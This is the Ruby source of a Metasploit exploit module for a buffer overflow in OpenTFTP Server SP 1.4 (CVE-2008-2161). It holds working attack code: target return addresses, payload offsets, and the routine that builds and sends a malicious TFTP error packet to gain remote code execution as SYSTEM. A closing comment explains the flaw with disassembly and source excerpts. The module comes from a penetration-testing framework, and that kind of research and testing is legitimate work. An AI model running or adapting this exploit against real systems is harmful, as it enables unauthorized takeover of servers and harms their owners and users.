metasploit-framework/modules/exploits/windows/tftp/opentftp_error_code.rb

137 lines
4.3 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenTFTP SP 1.4 Error Packet Overflow',
'Description' => %q{
This module exploits a buffer overflow in OpenTFTP Server SP 1.4. The vulnerable
condition triggers when the TFTP opcode is configured as an error packet, the TFTP
service will then format the message using a sprintf() function, which causes an
overflow, therefore allowing remote code execution under the context of SYSTEM.
The offset (to EIP) is specific to how the TFTP was started (as a 'Stand Alone',
or 'Service'). By default the target is set to 'Service' because that's the default
configuration during OpenTFTP Server SP 1.4's installation.
},
'Author' =>
[
'tixxDZ', #Initial discovery, poc
'steponequit' #Metasploit module
],
'References' =>
[
['CVE', '2008-2161'],
['OSVDB', '44904'],
['BID', '29111'],
['URL', 'http://downloads.securityfocus.com/vulnerabilities/exploits/29111.pl']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 5000,
'BadChars' => "\x00\x0a\x0d",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
#.bss section that is overwritten
[ 'OpenTFTP 1.4 Service', { 'Ret' => 0x0041b3ab } ],
[ 'OpenTFTP 1.4 Stand Alone', { 'Ret' => 0x0041b3ab } ]
],
#TFTP server is installed as an NT service by default
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => 'Jul 05 2008'))
register_options(
[
Opt::RPORT(69),
], self.class)
end
def exploit
if target.name =~ /OpenTFTP 1.4 Stand Alone/
# This hits msvcrt.printf()
sploit = "\x00\x05" + make_nops(10)
sploit << payload.encoded
sploit << rand_text_alpha(20517 - payload.encoded.length)
sploit << [target['Ret']].pack('V')
sploit << Rex::Text.rand_text_alpha(1469)
elsif target.name =~ /OpenTFTP 1.4 Service/
#This hits time()
sploit = "\x00\x05" + make_nops(10)
sploit << payload.encoded
sploit << rand_text_alpha(20445 - payload.encoded.length)
sploit << [target['Ret']].pack('V')
sploit << Rex::Text.rand_text_alpha(1545)
end
# Send the malicious packet
connect_udp
udp_sock.put(sploit)
handler
disconnect_udp
end
end
=begin
NOTE: If the module is run on a OSX box, you will probably see this error:
[-] Exploit exception: Message too long
That's OSX for you.
The vulnerable condition triggers when the TFTP opcode "\x00\x05" gets parsed in a ntohs() call:
.text:004022F6 mov eax, ds:dword_41B370
.text:004022FB movzx eax, word ptr [eax]
.text:004022FE mov [esp+5C8h+var_5C8], eax
.text:00402301 mov [ebp+var_550], 0FFFFFFFFh
.text:0040230B call ntohs
.text:00402310 sub esp, 4
.text:00402313 cmp ax, 5
.text:00402317 jnz short loc_40236F
...
When the value matches 0x05, we then head down to a sprinf() function to generate an error
message, which causes an overflow:
.text:00402330 mov eax, ds:dword_41B370
.text:00402335 add eax, 4
.text:00402338 mov [esp+5C8h+var_5BC], eax
.text:0040233C mov [esp+5C8h+var_5C0], edx
.text:00402340 mov [esp+5C8h+var_5C4], offset aErrorIAtClient ; "Error %i at Client, %s"
.text:00402348 mov [esp+5C8h+var_5C8], offset byte_41B394
.text:0040234F call sprintf
And then we either corrupt a msvcrt.printf() or time() call (in logMess), which end up gaining
control.
In source:
http://pastebin.com/QgZDwcan
else if (ntohs(datain->opcode) == 5) // Line 224
{
sprintf(serverError.errormessage, "Error %i at Client, %s", ntohs(datain->block), &datain->buffer);
logMess(req1, 1);
..... so on .....
You can also corrupt a SetServiceStatus() call with a smaller buffer, but obviously doesn't
give you a better crash than this one.
=end